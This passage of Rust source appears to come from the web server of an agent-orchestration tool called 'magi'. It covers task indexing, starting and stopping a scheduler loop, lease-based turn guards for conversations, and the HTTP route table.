923                return Ok(Vec::new());
924            }
925            Err(e) => return Err(anyhow::Error::from(e).into()),
926        };
927        let mut seen = HashSet::new();
928        for entry in entries {
929            let path = entry.map_err(anyhow::Error::from)?.path();
930            if path.extension().is_none_or(|ext| ext != "json") {
931                continue;
932            }
933            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
934                continue;
935            };
936            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
937            seen.insert(id.to_owned());
938            // On platforms without inode/ctime, re-read rather than trust a
939            // same-size replacement with a preserved modification timestamp.
940            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
941                let Ok(task) = self.queue.get(id) else {
942                    // Isolate an unreadable record, as Queue::list does. Keep
943                    // its last known relationship so a lookup of THAT task
944                    // still fails on the authoritative read below. Never let
945                    // unrelated corruption disable every run and conversation.
946                    // Counts must not present its previous status as current.
947                    if let Some((_, record)) = index.records.get_mut(id) {
948                        Arc::make_mut(record).status = None;
949                    }
950                    continue;
951                };
952                #[cfg(test)]
953                {
954                    index.reparsed += 1;
955                }
956                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
957                    return Err(ApiError::conflict("Queue changed during read; retry"));
958                }
959                index
960                    .records
961                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
962            }
963        }
964        index.records.retain(|id, _| seen.contains(id));
965        let mut tasks: Vec<_> = index
966            .records
967            .values()
968            .map(|(_, task)| task.clone())
969            .collect();
970        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
971        Ok(tasks)
972    }
973
974    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
975        let Some(record) = self
976            .indexed_tasks()?
977            .into_iter()
978            .find(|task| task.runs.iter().any(|id| id == run_id))
979        else {
980            return Ok(None);
981        };
982        let task = self.queue.get(&record.id)?;
983        if !task.runs.iter().any(|id| id == run_id) {
984            return Err(ApiError::conflict("Task relationship changed; retry"));
985        }
986        Ok(Some(task))
987    }
988
989    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
990        self.indexed_tasks()?
991            .into_iter()
992            .filter(|task| {
993                task.chat.as_deref() == Some(talk_id)
994                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
995            })
996            .map(|record| {
997                let task = self.queue.get(&record.id)?;
998                if task.chat.as_deref() != Some(talk_id)
999                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1000                {
1001                    return Err(ApiError::conflict("Task relationship changed; retry"));
1002                }
1003                Ok(task)
1004            })
1005            .collect()
1006    }
1007
1008    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1009    /// `<home>/talks`, `<home>/runs`.
1010    pub fn open(repo: PathBuf) -> Self {
1011        Self::new(
1012            Queue::open(),
1013            Questions::open(),
1014            Talks::open(),
1015            run::runs_root(),
1016            run::home(),
1017            repo,
1018        )
1019    }
1020
1021    /// The merge mode the loop should use, as the command line gave it.
1022    ///
1023    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1024    /// the override is a property of how this process was invoked and not of
1025    /// where its state lives - which is all the tests that build a `Ui` by
1026    /// hand are saying.
1027    #[must_use]
1028    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1029        self.merge = merge;
1030        self
1031    }
1032
1033    /// The machine-config file the settings screen writes, when it is not
1034    /// [`Config::machine_layer`] (tests).
1035    #[cfg(test)]
1036    #[must_use]
1037    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1038        self.machine_config = path;
1039        self
1040    }
1041
1042    /// Where the runs' worktrees live, when it is not the default.
1043    ///
1044    /// The health view sizes this directory, so a test that leaves it at the
1045    /// default would be measuring the operator's own machine.
1046    #[must_use]
1047    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1048        self.worktrees_root = root;
1049        self
1050    }
1051
1052    /// Point the loop at something other than [`launch_daemon`].
1053    ///
1054    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1055    /// this crate may start the real loop.
1056    #[cfg(test)]
1057    #[must_use]
1058    fn with_launch(mut self, launch: Launch) -> Self {
1059        self.launch = launch;
1060        self
1061    }
1062
1063    /// Install a [`BusyQueueGate`] for the next pass through the busy
1064    /// branch's queued-draft write, replacing any earlier one.
1065    ///
1066    /// A setter on `&self` rather than a `with_*` builder consumed once,
1067    /// because a test that drives the busy branch more than once (as
1068    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1069    /// to build confidence the interleaving is handled deterministically and
1070    /// not just on a lucky run) needs a fresh channel pair each time, on the
1071    /// one `Ui` it already built its temp directories around.
1072    #[cfg(test)]
1073    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1074        *self
1075            .busy_queue_gate
1076            .lock()
1077            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1078    }
1079
1080    /// Prevent a restart from ending an already accepted send between its
1081    /// durable transcript write and detached worker reservation.
1082    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1083        let guard = Arc::clone(&self.admissions)
1084            .try_read_owned()
1085            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1086        if *guard {
1087            return Err(ApiError::conflict(
1088                "web restart in progress; retry this message",
1089            ));
1090        }
1091        Ok(guard)
1092    }
1093
1094    /// Start a scheduler that outlives this web process.
1095    async fn start_detached_loop(&self) -> ApiResult<()> {
1096        if self
1097            .upgrade_spawned
1098            .load(std::sync::atomic::Ordering::SeqCst)
1099        {
1100            return Err(ApiError::conflict("an upgrade is in progress"));
1101        }
1102        let reading = daemon::read_status(&self.home);
1103        if let Some(other) = Foreign::of(reading.as_ref()) {
1104            return Err(ApiError::conflict(format!(
1105                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1106                other.who()
1107            )));
1108        }
1109        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1110        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1111        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1112            || reading.is_some_and(|reading| {
1113                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1114            });
1115        if control.is_some() && scheduler_running {
1116            return Err(ApiError::conflict(
1117                "the scheduler is still stopping; retry Start after it has stopped",
1118            ));
1119        }
1120        if !jobs.iter().any(|job| job.kind == "scheduler") {
1121            let available =
1122                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1123            if available.is_none() {
1124                return Err(ApiError::conflict(
1125                    "the scheduler is still running or stopping; retry after its transition completes",
1126                ));
1127            }
1128            drop(available);
1129        }
1130        let opts = daemon::Opts {
1131            repo: self.repo.clone(),
1132            merge: self.merge.clone(),
1133            worktrees_root: Some(self.worktrees_root.clone()),
1134            ..daemon::Opts::default()
1135        };
1136        daemon::spawn_detached(&self.home, &opts)
1137            .await
1138            .map_err(ApiError::from)?;
1139        let mut state = self.lock_loop();
1140        state.last_error = None;
1141        state.rev += 1;
1142        Ok(())
1143    }
1144
1145    /// Start the loop in this process, or say who already has one.
1146    ///
1147    /// `foreign` is passed in rather than read here so that one request makes
1148    /// one judgement about who owns the loop: reading the status file again
1149    /// inside this function could refuse a start for a daemon the same
1150    /// response then reports as gone.
1151    #[cfg(test)]
1152    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1153        if let Some(other) = foreign {
1154            return Err(ApiError::conflict(format!(
1155                "{} is already running the loop, so this one will not start a \
1156                 second: two loops on one queue race for the same claims and \
1157                 burn the agent quota twice over. Stop it where it was \
1158                 started.",
1159                other.who()
1160            )));
1161        }
1162        let mut state = self.lock_loop();
1163        if self
1164            .upgrade_spawned
1165            .load(std::sync::atomic::Ordering::SeqCst)
1166        {
1167            return Err(ApiError::conflict("an upgrade is in progress"));
1168        }
1169        if state.live.as_ref().is_some_and(Live::alive) {
1170            return Err(ApiError::conflict(format!(
1171                "this magi web process (pid {}) is already running the loop",
1172                std::process::id()
1173            )));
1174        }
1175
1176        let stop = daemon::Stop::new();
1177        // The CLI's own defaults for everything the UI has no opinion about:
1178        // one poll interval and one retry budget, so a loop started from a
1179        // phone behaves exactly like the `magi serve` it replaces.
1180        let opts = daemon::Opts {
1181            repo: self.repo.clone(),
1182            merge: self.merge.clone(),
1183            // Whatever this `Ui` already reports worktree sizes and folds
1184            // against (see `with_worktrees_root`) is what the loop it starts
1185            // must reclaim orphaned worktrees under too - two different
1186            // opinions about where the worktree bay is would leave the
1187            // janitor pass reclaiming a directory nothing else on this
1188            // process is even looking at.
1189            worktrees_root: Some(self.worktrees_root.clone()),
1190            ..daemon::Opts::default()
1191        };
1192        let launch = self.launch;
1193        let looping = Arc::clone(&self.looping);
1194        let handle = tokio::spawn({
1195            let opts = opts.clone();
1196            let stop = stop.clone();
1197            async move {
1198                let failure = match launch(opts, stop).await {
1199                    Ok(()) => None,
1200                    Err(e) => Some(format!("{e:#}")),
1201                };
1202                match &failure {
1203                    Some(why) => tracing::error!("the loop stopped: {why}"),
1204                    None => tracing::info!("the loop stopped"),
1205                }
1206                // Recorded by the task itself rather than reaped by whichever
1207                // request happens next, so `loop_rev` moves the moment the
1208                // loop ends and a phone with the change stream open learns
1209                // that it did. Clearing `live` drops this task's own handle,
1210                // which only detaches it, and is the last thing it does.
1211                let mut state = lock_or_recover(&looping);
1212                state.live = None;
1213                state.last_error = failure;
1214                state.rev += 1;
1215            }
1216        });
1217        tracing::info!(
1218            "the loop is now running in this process: repo {}, merge {}",
1219            opts.repo.display(),
1220            opts.merge.as_deref().unwrap_or("as the config says")
1221        );
1222        state.live = Some(Live { stop, handle, opts });
1223        // A fresh start is not the place to keep showing why the last one
1224        // died; the operator has read it and pressed the button anyway.
1225        state.last_error = None;
1226        state.rev += 1;
1227        Ok(())
1228    }
1229
1230    /// Ask the loop to stop, without waiting for it to get there.
1231    ///
1232    /// Idempotent: a second tap on stop is not an error, because the first one
1233    /// leaves the loop running for as long as the run in flight takes and the
1234    /// operator has no way to tell a slow stop from a lost one.
1235    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1236        if let Some(other) = foreign {
1237            return Err(ApiError::conflict(format!(
1238                "the loop belongs to {}, and this process cannot stop it - \
1239                 stop it where it was started. A button that silently did \
1240                 nothing would be worse than this refusal.",
1241                other.who()
1242            )));
1243        }
1244        #[cfg(not(test))]
1245        {
1246            daemon::request_control(
1247                &self.home,
1248                if park {
1249                    crate::worker::Control::Park
1250                } else {
1251                    crate::worker::Control::Stop
1252                },
1253            )
1254            .map_err(ApiError::from)?;
1255            self.lock_loop().rev += 1;
1256            Ok(())
1257        }
1258        #[cfg(test)]
1259        {
1260            let mut state = self.lock_loop();
1261            let Some(live) = state.live.as_ref() else {
1262                return Ok(());
1263            };
1264            // A park upgrades a stop that has already been asked for: the
1265            // operator who tapped "stop" and then realised the run has an hour
1266            // left must not have to restart the loop to change their mind.
1267            if live.stop.stopped() && (!park || live.stop.parking()) {
1268                return Ok(());
1269            }
1270            if park {
1271                live.stop.park(crate::run::ParkCause::Operator);
1272                tracing::info!(
1273                    "the loop was asked to park; the run stops at its next node boundary"
1274                );
1275            } else {
1276                live.stop.stop();
1277                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1278            }
1279            state.rev += 1;
1280            Ok(())
1281        }
1282    }
1283
1284    /// The loop as both `/api/loop` and `/api/health` report it.
1285    ///
1286    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1287    /// health answers with this view *and* the daemon object beside it: one
1288    /// read per response is what stops a single answer naming a foreign owner
1289    /// in one field and calling the loop free in the other.
1290    #[cfg(not(test))]
1291    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1292        let jobs = crate::worker::active(&self.home).map_err(|error| {
1293            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1294        })?;
1295        Ok(self.runtime_loop_view(reading, &jobs))
1296    }
1297
1298    #[cfg(test)]
1299    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1300        let state = self.lock_loop();
1301        // A loop that panicked never recorded its own end, so the handle -
1302        // not the presence of the record - is what "running" means.
1303        let live = state.live.as_ref().filter(|live| live.alive());
1304        LoopView {
1305            running: live.is_some(),
1306            stopping: live.is_some_and(|live| live.stop.finishing()),
1307            parking: live.is_some_and(|live| live.stop.parking()),
1308            owned: live.is_some(),
1309            repo: live
1310                .map_or(&self.repo, |live| &live.opts.repo)
1311                .display()
1312                .to_string(),
1313            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1314            last_error: state.last_error.clone(),
1315            daemon: DaemonView::of(reading),
1316        }
1317    }
1318
1319    /// Reuse one active-job snapshot for both ownership and public health.
1320    fn runtime_loop_view(
1321        &self,
1322        reading: Option<daemon::Reading>,
1323        jobs: &[crate::worker::Job],
1324    ) -> LoopView {
1325        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1326        let reporting = reading
1327            .as_ref()
1328            .is_some_and(|r| r.running(Timestamp::now()));
1329        let managed = scheduler.is_some()
1330            || (reporting
1331                && reading
1332                    .as_ref()
1333                    .is_some_and(|r| r.worker_protocol == Some(1)));
1334        let control = crate::worker::control(&self.home, "scheduler")
1335            .ok()
1336            .flatten();
1337        // Foreground serve also persists its options, so ownership never
1338        // causes us to substitute the web process's repository for its own.
1339        let persisted = if managed && scheduler.is_none() {
1340            std::fs::read(self.home.join("scheduler-options.json"))
1341                .ok()
1342                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1343        } else {
1344            None
1345        };
1346        let repo = scheduler
1347            .and_then(|job| job.payload.get("repo"))
1348            .and_then(serde_json::Value::as_str)
1349            .map(str::to_owned)
1350            .or_else(|| {
1351                persisted
1352                    .as_ref()
1353                    .map(|opts| opts.repo.display().to_string())
1354            })
1355            .unwrap_or_else(|| self.repo.display().to_string());
1356        let merge = match scheduler {
1357            Some(job) => job
1358                .payload
1359                .get("merge")
1360                .and_then(serde_json::Value::as_str)
1361                .map(str::to_owned),
1362            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1363        };
1364        LoopView {
1365            running: managed || reporting,
1366            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1367            parking: matches!(control, Some(crate::worker::Control::Park))
1368                && jobs.iter().any(|job| job.kind == "task"),
1369            owned: managed,
1370            repo,
1371            merge,
1372            last_error: self.lock_loop().last_error.clone(),
1373            daemon: DaemonView::of(reading),
1374        }
1375    }
1376
1377    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1378    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1379        lock_or_recover(&self.looping)
1380    }
1381
1382    /// In-flight admission, detached startup, or a cross-process turn lease.
1383    fn is_thinking(&self, id: &str) -> bool {
1384        self.talk_turns
1385            .lock()
1386            .is_ok_and(|turns| turns.live.contains(id))
1387            // Another process (the CLI) can hold the turn through the
1388            // on-disk lease.
1389            || self.talks.turn_held(id)
1390            || crate::consult::turn_worker_active(&self.talks, id)
1391    }
1392
1393    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1394    /// 送信・アップグレードなどの判断には [`Ui::is_thinking`] を使う。
1395    fn is_thinking_observed(&self, id: &str) -> bool {
1396        self.talk_turns.try_lock().map_or_else(
1397            // Admission may itself be waiting on the worker store. Display a
1398            // conservative busy state rather than waiting behind that writer.
1399            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1400            |turns| turns.live.contains(id),
1401        )
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::consult::turn_worker_observed(&self.talks, id)
1406    }
1407
1408    /// Claim the right to run one turn in a talk, or report that it is busy.
1409    ///
1410    /// A talk is strictly turn-based: the agent is resumed with the
1411    /// conversation it already has, so two turns running at once would resume
1412    /// the same session twice and append their answers in whatever order the
1413    /// two CLIs finished in. The operator would come back to a transcript
1414    /// with two half-turns interleaved, which is unreadable and, worse,
1415    /// unfixable - there is no undo for a persisted turn.
1416    ///
1417    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1418    /// starting a second CLI invocation for the same session.
1419    ///
1420    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1421    /// taken to test-and-insert and released before the agent is spawned. The
1422    /// returned guard removes the id on drop, which is what makes a panicking
1423    /// handler or a phone that walks out of range leave the talk usable - axum
1424    /// drops the handler future when the client disconnects, and without the
1425    /// guard that talk would be wedged until the server restarted.
1426    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1427        self.claim_talk_turn(id, false)
1428    }
1429
1430    /// Claim a turn after durably queueing a draft, or notify its current
1431    /// owner that a drainer must recheck before it releases the slot.
1432    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1433        self.claim_talk_turn(id, true)
1434    }
1435
1436    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1437        let mut live = self
1438            .talk_turns
1439            .lock()
1440            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1441        if crate::consult::turn_worker_active(&self.talks, id) {
1442            if queued {
1443                *live.queued.entry(id.to_owned()).or_default() += 1;
1444            }
1445            return Ok(None);
1446        }
1447        let inserted = live.live.insert(id.to_owned());
1448        // The on-disk lease is the cross-process half of the gate. Taken
1449        // second, and undone if lost, so `live` never claims a turn the lease
1450        // refused.
1451        let lease = if inserted {
1452            match self.talks.claim_turn(id) {
1453                Ok(Some(lease)) => Some(lease),
1454                Ok(None) => {
1455                    live.live.remove(id);
1456                    None
1457                }
1458                Err(e) => {
1459                    live.live.remove(id);
1460                    return Err(ApiError::from(e));
1461                }
1462            }
1463        } else {
1464            None
1465        };
1466        if lease.is_none() {
1467            if queued {
1468                // A queued write has landed before this busy check.
1469                // `drain_loop` uses this generation to recheck after its
1470                // off-thread disk read, so it cannot release a turn between
1471                // this check and the write.
1472                *live.queued.entry(id.to_owned()).or_default() += 1;
1473            }
1474            return Ok(None);
1475        }
1476        Ok(Some(TalkTurnGuard {
1477            talk: id.to_owned(),
1478            turns: Arc::clone(&self.talk_turns),
1479            released: false,
1480            lease,
1481        }))
1482    }
1483
1484    /// Decide whether a free talk may start a new immediate turn while its
1485    /// claim lock is held. A persisted draft without an owner is recovery
1486    /// state, not a busy turn: two simultaneous `/say` requests must both
1487    /// leave it untouched rather than one of them appending to it.
1488    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1489        let mut live = self
1490            .talk_turns
1491            .lock()
1492            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1493        // A detached worker owns its turn across web process replacement.
1494        if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1495            return Ok(TalkTurnStart::Busy);
1496        }
1497        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1498            return Ok(TalkTurnStart::Foreign);
1499        };
1500        // A refused `Pending` below drops the lease again.
1501        let talk = self.talks.get(id).map_err(ApiError::from)?;
1502        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1503            return Ok(TalkTurnStart::Pending);
1504        }
1505        live.live.insert(id.to_owned());
1506        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1507            talk: id.to_owned(),
1508            turns: Arc::clone(&self.talk_turns),
1509            released: false,
1510            lease: Some(lease),
1511        }))
1512    }
1513
1514    fn queued_generation(&self, id: &str) -> u64 {
1515        let live = self
1516            .talk_turns
1517            .lock()
1518            .unwrap_or_else(PoisonError::into_inner);
1519        live.queued.get(id).copied().unwrap_or(0)
1520    }
1521
1522    /// Automatic updates begin only when execution and chat workers are idle.
1523    /// A worker racing this snapshot survives the restart on its own executable.
1524    fn auto_upgrade_busy(&self) -> bool {
1525        #[cfg(test)]
1526        if self
1527            .lock_loop()
1528            .live
1529            .as_ref()
1530            .is_some_and(|live| live.stop.busy_now())
1531        {
1532            return true;
1533        }
1534        crate::worker::active(&self.home)
1535            .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1536            || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1537            || !self
1538                .resuming
1539                .lock()
1540                .unwrap_or_else(PoisonError::into_inner)
1541                .is_empty()
1542            || !self
1543                .talk_turns
1544                .lock()
1545                .unwrap_or_else(PoisonError::into_inner)
1546                .live
1547                .is_empty()
1548            || self
1549                .talks
1550                .list()
1551                .iter()
1552                .any(|talk| self.is_thinking(&talk.id))
1553    }
1554
1555    /// Claim a run for a resume, on the same reasoning as
1556    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1557    /// disconnected phone does not wedge the run until the server restarts.
1558    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1559        let mut live = self
1560            .resuming
1561            .lock()
1562            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1563        if self
1564            .upgrade_spawned
1565            .load(std::sync::atomic::Ordering::SeqCst)
1566        {
1567            return Err(ApiError::conflict("an upgrade is in progress"));
1568        }
1569        if !live.insert(id.to_owned()) {
1570            return Err(ApiError::conflict(format!(
1571                "run {id} is already being resumed"
1572            )));
1573        }
1574        Ok(ResumeGuard {
1575            run: id.to_owned(),
1576            resuming: Arc::clone(&self.resuming),
1577        })
1578    }
1579
1580    /// The router, with this state baked in.
1581    ///
1582    /// The three front-end files get one explicit route each rather than a
1583    /// path parameter, so there is no traversal surface to get wrong: the set
1584    /// of servable paths is the set written here. The asset route below is the
1585    /// one exception and the only place in this server where a client names a
1586    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1587    pub fn router(self) -> Router {
1588        Arc::new(self).shared_router()
1589    }
1590
1591    fn shared_router(self: Arc<Self>) -> Router {
1592        Router::new()
1593            .route("/", get(index))
1594            .route("/app.css", get(app_css))
1595            .route("/app.js", get(app_js))
1596            .route("/api/health", get(health))
1597            .route("/api/references", post(id_links::resolve_text))
1598            .route("/api/loop", get(loop_get).post(loop_post))
1599            .route("/api/upgrade", post(upgrade_post))
1600            .route("/api/runs", get(runs_list))
1601            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1602            .route("/api/runs/{id}/core", get(run_core))
1603            .route("/api/runs/{id}/report", get(run_report))
1604            .route("/api/runs/{id}/report.json", get(run_report_json))
1605            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1606            .route("/api/runs/{id}/fold", post(run_fold))
1607            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1608            .route("/api/runs/{id}/resume", post(run_resume))
1609            .route("/api/queue", get(queue_list))
1610            .route("/api/queue/page", get(queue_page))
1611            .route("/api/search", get(search_get))
1612            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1613            .route("/api/queue/{id}/core", get(task_core))
1614            .route("/api/stats", get(stats_get))
1615            .route("/api/stats/queue", get(stats_queue))
1616            .route("/api/repos", get(repos_list))
1617            .route("/api/settings", get(settings_get))
1618            .route("/api/settings/roles", put(settings_put_roles))
1619            .route("/api/queue/{id}/hold", post(queue_hold))
1620            .route("/api/queue/{id}/release", post(queue_release))
1621            .route("/api/queue/{id}/priority", post(queue_priority))
1622            .route("/api/queue/{id}/urgent", post(queue_urgent))
1623            .route("/api/queue/{id}/implementers", post(queue_implementers))
1624            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1625            .route("/api/queue/{id}/edit", post(queue_edit))
1626            .route("/api/queue/{id}/done", post(queue_done))
1627            .route("/api/questions", get(questions_list))
1628            .route("/api/questions/core", get(questions_core))
1629            .route("/api/questions/origins", get(question_origins))
1630            .route("/api/questions/{id}/answer", post(question_answer))
1631            .route("/api/questions/{id}/say", post(question_say))
1632            .route("/api/questions/{id}/consult", post(question_consult))
1633            .route("/api/questions/{id}/panel", get(question_panel))
1634            // The same asset, reachable from inside the panel by its bare
1635            // filename. A document served at `.../panel` resolves `shot.png`
1636            // to `.../shot.png`, which is not the asset route, so a panel
1637            // written the way its author was told to write it showed broken
1638            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1639            // it - deliberately - so the fix is that the panel's own URL ends
1640            // in a filename and its siblings are the assets.
1641            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1642            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1643            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1644            .route("/api/notifications", get(notifications_list))
1645            .route("/api/notifications/read-all", post(notifications_read_all))
1646            .route("/api/notifications/{id}/read", post(notification_read))
1647            .route(
1648                "/api/notifications/{id}/dismiss",
1649                post(notification_dismiss),
1650            )
1651            .route("/api/talks", get(talks_list).post(talk_post))
1652            .route("/api/talks/page", get(talks_page))
1653            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1654            .route("/api/talks/{id}/core", get(talk_core))
1655            .route("/api/talks/{id}/sections", get(talk_sections))
1656            .route("/api/talks/{id}/say", post(talk_say))
1657            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1658            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1659            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1660            .route("/api/talks/{id}/agent", post(talk_agent))
1661            .route("/api/talks/{id}/persona", post(talk_persona))
1662            .route("/api/talks/{id}/implementers", post(talk_implementers))
1663            .route("/api/talks/{id}/close", post(talk_close))
1664            .route("/api/talks/{id}/reopen", post(talk_reopen))
1665            // `DefaultBodyLimit` is raised only on this one route - every
1666            // other route on this server answers in a few kilobytes, and
1667            // widening the crate-wide default for all of them just because
1668            // one accepts a picture would let any other handler be handed
1669            // a multi-megabyte body it never expects.
1670            .route(
1671                "/api/talks/{id}/attachments",
1672                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1673            )
1674            .route(
1675                "/api/talks/{id}/attachments/{att}",
1676                get(talk_attachment_get),
1677            )
1678            .route("/api/talks/{id}/avatar", get(talk_avatar))
1679            .route("/avatars/operator.svg", get(operator_avatar))
1680            .route(
1681                "/api/avatar-settings",
1682                get(avatar_settings_get)
1683                    .put(avatar_settings_put)
1684                    .delete(avatar_settings_delete),
1685            )
1686            .route("/avatars/persona", get(settings_persona_avatar))
1687            .route("/avatars/magi", get(magi_avatar))
1688            .route(
1689                "/api/magi-icon",
1690                get(magi_icon_get)
1691                    .put(magi_icon_put)
1692                    .delete(magi_icon_delete),
1693            )
1694            .route("/api/events", get(events))
1695            .with_state(self)
1696    }
1697}
1698
1699/// One talk's turn slot, released on drop.
1700///
1701/// A guard rather than a matching `remove` at the end of the handler, because
1702/// the handler has several early returns and one `await` that can be cancelled
1703/// out from under it. A leaked id is a talk nobody can talk to again.
1704#[derive(Debug)]
1705struct TalkTurnGuard {
1706    talk: String,
1707    turns: Arc<Mutex<TalkTurns>>,
1708    released: bool,
1709    /// The cross-process half of the slot; dropped with the guard.
1710    lease: Option<crate::talk::TurnLease>,
1711}
1712
1713/// In-memory turn ownership plus the queue generation observed by a drainer.
1714///
1715/// The generation changes only after a durable queued draft is written and its
1716/// caller finds the turn busy. That lets the loop run filesystem work outside
1717/// this mutex while still making the final empty-check/release atomic with a
1718/// concurrent queue handoff.
1719#[derive(Debug, Default)]
1720struct TalkTurns {
1721    live: HashSet<String>,
1722    queued: HashMap<String, u64>,
1723}
1724
1725/// The atomic initial-state decision made by
1726/// [`Ui::begin_talk_turn_unless_pending`].
1727enum TalkTurnStart {
1728    Claimed(TalkTurnGuard),
1729    Busy,
1730    /// Another process holds the turn lease. Unlike `Busy` there is no local
1731    /// drain loop that would answer a queued draft, so the caller refuses.
1732    Foreign,
1733    Pending,
1734}
1735
1736impl TalkTurnGuard {
1737    #[cfg(test)]
1738    /// Does this guard still own the on-disk lease? A transient failure to
1739    /// check counts as owning: the next beat decides. A guard that lost it
1740    /// must not start another turn on the same session.
1741    fn owns(&self) -> bool {
1742        self.lease
1743            .as_ref()
1744            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1745    }
1746
1747    #[cfg(test)]
1748    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1749    /// than the lease's TTL still reads as held to other processes.
1750    async fn respond(
1751        &self,
1752        talk: &mut Talk,
1753        talks: &Talks,
1754        cfg: &Config,
1755        text: &str,
1756    ) -> anyhow::Result<()> {
1757        let lease = self
1758            .lease
1759            .as_ref()
1760            .context("the turn guard no longer holds its lease")?;
1761        talk::respond(lease, talk, talks, cfg, text).await
1762    }
1763
1764    /// Release while the caller already holds the claim mutex, closing the
1765    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1766    fn release(mut self, live: &mut TalkTurns) {
1767        // The on-disk lease goes first: while `live` still names the talk, no
1768        // local claim can start, so nobody observes the slot free but the
1769        // lease held.
1770        self.lease = None;
1771        live.live.remove(&self.talk);
1772        live.queued.remove(&self.talk);
1773        self.released = true;
1774    }
1775}
1776
1777impl Drop for TalkTurnGuard {
1778    fn drop(&mut self) {
1779        if self.released {
1780            return;
1781        }
1782        // Lease first, then the in-process slot (see `release`).
1783        drop(self.lease.take());
1784        if let Ok(mut live) = self.turns.lock() {
1785            live.live.remove(&self.talk);
1786            live.queued.remove(&self.talk);
1787        }
1788    }
1789}
1790
1791/// Releases a resume claim, so a run is resumable again after the attempt.
1792struct ResumeGuard {
1793    run: String,
1794    resuming: Arc<Mutex<HashSet<String>>>,
1795}
1796
1797impl Drop for ResumeGuard {
1798    fn drop(&mut self) {
1799        if let Ok(mut live) = self.resuming.lock() {
1800            live.remove(&self.run);
1801        }
1802    }
1803}
1804
1805/// Bind the port, waiting briefly for a predecessor to let go of it.
1806///
1807/// A restart hands the address from one process to the next, and the old one
1808/// holds its listener until it unwinds. A single `bind` can lose that race,
1809/// and for a restart triggered from a phone that means the deck never comes
